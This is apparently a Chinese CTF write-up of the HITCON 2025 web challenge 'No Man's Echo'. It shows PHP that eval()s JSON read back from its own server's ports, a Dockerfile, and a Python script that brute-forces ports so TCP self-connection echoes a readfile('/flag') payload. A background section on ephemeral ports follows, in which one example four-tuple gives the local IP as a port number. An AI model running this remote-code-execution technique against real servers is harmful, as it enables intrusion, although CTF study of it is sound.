hintcon2025No Man‘s Echo
#web
代码如下
<?php// 获取GET参数probe,并转换为整数$probe = (int)@$_GET['probe'];// 生成从probe到probe+42的端口范围数组$range = range($probe, $probe + 42);// 打乱端口数组顺序shuffle($range);// 遍历每个端口foreach ($range as $k => $port) {// 构造目标tcp地址$target = sprintf("tcp://%s:%d", $_SERVER['SERVER_ADDR'], $port);// 尝试连接目标端口$fp = @stream_socket_client($target, $errno, $errstr, 1);if (!$fp) continue; // 连接失败则跳过// 设置流超时时间为1秒stream_set_timeout($fp, 1);// 向目标端口写入请求体内容fwrite($fp, file_get_contents("php://input"));// 读取目标端口返回的数据$data = fgets($fp);if (strlen($data) > 0) {// 尝试将返回数据解析为json$data = json_decode($data);// 检查signal字段是否为Arrivalif (isset($data->signal) && $data->signal == 'Arrival')// 执行logogram字段内容eval($data->logogram);// 关闭连接fclose($fp);// 退出脚本exit(-1);}} // 高亮显示当前文件源码highlight_file(__FILE__);
我们先搭建容器并尝试查看所有容器内占用的端口
-
容器内监听端口:
-
TCP 0.0.0.0:80(Apache,LISTEN)
-
TCP 127.0.0.11:36667(Docker 内置解析相关,LISTEN)
-
UDP 127.0.0.11:50180(Docker 内置解析相关)
dockerfile
FROM debian:bookwormEXPOSE 80RUN apt-get update && \apt-get install -y --no-install-recommends \apache2 \libapache2-mod-php \&& rm -rf /var/lib/apt/lists/*COPY www/index.php /var/www/html/
COPY ./flag /flagRUN a2enmod php* && a2enmod rewrite
RUN rm /var/www/html/index.html
RUN chmod 744 /var/www/html/index.php /flagWORKDIR /var/www/htmlCMD ["apachectl", "-D", "FOREGROUND"]
这个-d FOREGROUND 参数代表着什么?
- 结论:让 Apache 在前台运行,不以守护进程方式后台化。
我们能向任何端口发送任意数据
服务器让我们返回一个有如下字段的json {“signal”:“Arrival”,“logogram”:“php_code”}
80/36667/50180端口可利用吗?
阿帕奇80端口支持那些特殊协议吗?
题目为什么设置了probe+42,是否是某些临时端口,其开放范围有上下42的浮动?
FQEF 怎么猎奇的题怎么这么多解决?
我们来分析解决方案的原理
TCP 客户端自连接 (2013) |黑客新闻 — TCP 客户端自连接 (2013) |黑客新闻
一切关于无:TCP客户端自连接…
import httpxtarg = "http://localhost:8080"
targ = "http://no-mans-echo.chal.hitconctf.com/"c = httpx.Client(base_url=targ)COMMAND_TO_RUN = "readfile('/flag');"
payload = f'{{"signal": "Arrival", "logogram": "{COMMAND_TO_RUN}"}}'for i in range(40_000, 50_000):print(i)r = c.post(f"/?probe={i}", content=payload.encode())if "hitcon" in r.text:print(r.text)
事实是, #TCP 会建立一个临时的端口
阶段一:需求产生与“招聘”(连接初始化)
-
应用层请求:
- 当你的程序(例如,一个Web浏览器想要访问
www.example.com:80
)需要建立一个出站TCP连接时,它会调用系统Socket API(例如connect()
函数)。 - 此时,应用程序通常只指定了目标地址(服务器的IP)和目标端口(如80),而本地端口参数通常被设置为0,意思是“操作系统,请帮我随机选一个可用的本地端口”。
- 当你的程序(例如,一个Web浏览器想要访问
-
操作系统介入:
- 这个请求从用户空间传递到操作系统内核的TCP/IP协议栈。
- 内核意识到需要为一个新的连接分配一个本地端点(IP地址和端口)。
-
端口选择:
- 本地IP地址:通常使用与目标网络路由对应的本地网络接口的IP地址。如果机器有多个IP,内核会根据路由表选择最合适的一个。
- 本地端口:这是关键步骤。内核需要从临时端口范围(Ephemeral Port Range)中挑选一个当前未被使用的端口。
- 范围:在Linux上,可通过
/proc/sys/net/ipv4/ip_local_port_range
查看和修改(默认通常是32768-60999
)。在Windows上,默认范围是49152-65535
。 - 选择算法:现代操作系统通常使用一种复杂的算法来随机选择端口,而不仅仅是顺序递增。这主要是出于安全考虑(防止攻击者预测下一个要使用的端口号)和负载均衡。它会检查该端口是否已被其他现有连接占用(检查本地IP、本地端口、远程IP、远程端口这个四元组是否唯一)。如果选择的端口已被占用,它会继续尝试下一个随机端口,直到找到可用的为止。
- 范围:在Linux上,可通过
阶段二:“员工”上岗与工作(连接建立与数据传输)
-
创建传输控制块(TCB)并绑定:
- 一旦选中一个可用的临时端口(例如
49200
),内核会为此连接创建一个称为传输控制块(TCB) 的数据结构。TCB包含了管理这个连接所需的所有信息:序列号、窗口大小、双方IP和端口、连接状态等。 - 此时,这个四元组
{本地IP:49200, 本地Port:49200, 远程IP:93.184.216.34, 远程Port:80}
被正式绑定。这个组合在整个网络上都是唯一的,确保了TCP数据包能够被正确无误地交付到你这个特定的浏览器标签页,而不是其他连接。
- 一旦选中一个可用的临时端口(例如
-
三次握手:
- 内核使用这个新绑定的临时端口向服务器发送一个 SYN(同步)包。
- 服务器收到SYN包后,会向你的
本地IP:49200
回复 SYN-ACK(同步-确认)包。 - 你的内核收到SYN-ACK后,再发送一个 ACK(确认)包完成三次握手。
- 至此,连接正式建立,临时端口
49200
现在处于ESTABLISHED
状态。
-
数据传输:
- 在整个数据传输过程中(浏览器发送HTTP请求,接收HTTP响应),所有从这个连接进出的数据包,其源端口都是
49200
,目标端口都是80
。 - 操作系统内核会根据数据包的端口号,准确地将接收到的数据分发给你之前发起连接的那个浏览器进程。
- 在整个数据传输过程中(浏览器发送HTTP请求,接收HTTP响应),所有从这个连接进出的数据包,其源端口都是
阶段三:任务完成与“解雇”(连接终止与端口释放)
-
连接终止(四次挥手):
- 当数据传输完成(例如,网页加载完毕),一方(通常是客户端,但也可以是服务器)会发起连接关闭流程。
- 浏览器(客户端)调用
close()
,内核会发送一个 FIN(结束)包给服务器。 - 服务器回复 ACK 确认收到FIN,然后再发送它自己的 FIN 包。
- 客户端回复 ACK 确认服务器的FIN。
-
进入TIME_WAIT状态:
- 在发送完最后一个ACK之后,客户端的连接(特别是这个临时端口
49200
)不会立即被释放。它会进入一个称为TIME_WAIT
的状态。 - 持续时间:这个状态通常持续 2 * MSL(Maximum Segment Lifetime,报文最大生存时间)。在Linux上,MSL通常是60秒,所以TIME_WAIT状态会持续约120秒。
- 为什么需要TIME_WAIT?
- 确保最后的ACK送达:如果最后一个ACK在网络中丢失,服务器会重传它的FIN包。处于TIME_WAIT状态的客户端可以再次回复ACK,从而保证连接可靠地关闭。
- 让旧连接的报文彻底消失:防止来自之前连接的、延迟到达的数据包被误认为是新建立的、复用了相同四元组的连接的数据包,造成数据混乱。
- 在发送完最后一个ACK之后,客户端的连接(特别是这个临时端口
-
端口释放与销毁:
- 在度过完整的TIME_WAIT计时器(如120秒)后,内核会彻底销毁该连接的TCB(传输控制块)。
- 临时端口
49200
被释放,重新放回可用的临时端口池中,等待被未来的新连接请求随机选中和使用。
因此,临时端口的“销毁”并非在调用close()
时立即发生,而是在经历完整的TCP连接终止协议(包括TIME_WAIT状态)之后才完成的。 这个设计是TCP协议实现可靠性的一个核心组成部分。
TCP在创立链接的时候会创建临时端口,如果一个tcp链接的目的地恰好是内核所为其分配的链接端口,此端口会产生产生自链接,原样返回输入
QEF
#网络通信原理 #php